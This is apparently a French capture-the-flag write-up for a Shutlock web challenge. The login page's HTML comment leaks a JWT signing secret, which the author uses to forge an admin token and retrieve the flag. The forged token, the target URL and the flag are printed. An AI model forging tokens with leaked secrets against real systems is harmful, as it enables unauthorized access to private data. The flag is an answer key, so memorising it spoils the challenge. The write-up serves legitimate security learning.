Qui a laissé trainer son bloc note ?

Posted on Jun 29, 2024

Ce challenge était un challenge web. Thomas Kaiser Broyer, l’individu décédé du challenge précédent a créé un site pour partager des notes. Cependant, ses notes privés sont cachés derrière un panel admin:

Page de connexion de ListenNotes

En entrant n’importe quel nom d’utilisateur et mot de passe, nous arrivons sur une page de refus d’accès. Nous obtenons le token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3MTk2MTc5Mjd9.v98LwPCOZAa9kBSfjuHVd-Mgd8318TAb3l7j1WbqcJA

qui se décode par:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "role": "guest",
  "iat": 1719617927
}

En inspectant le code source de la page de connexion:


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Connexion</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<h2 class="page-title">Page de connexion</h2>
<div class="login-container">
    <form action="/login" method="post">
        <label for="username">Nom d'utilisateur:</label>
        <input type="text" id="username" name="username"><br>
        <label for="password">Mot de passe:</label>
        <input type="password" id="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
    <div class="create-notepad">Créer son propre bloc-note</div>

    <!-- Clé a n'utiliser que pour développer : VerySecretKey -->
</div>
</body>
</html>

Un secret est resté hardcodé: VerySecretKey

Ce secret nous permet de créer n’importe quel token d’accès sans que le serveur le refuse.

J’ai donc créé le token suivant:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTk2MTc5Mjd9.naByVm_AYfEi5A2JvrdPYbl0AAYGIMFuHsSXsfb-ZV0

qui se traduit par:

{
  "role": "admin",
  "iat": 1719617927
}

Nous pouvons ensuite aller sur http://challenges.shutlock.fr:50007/admin?token=${token}

Solution

Le flag obtenu est:

SHLK{N3_l1s_pa5_l3s_not3s}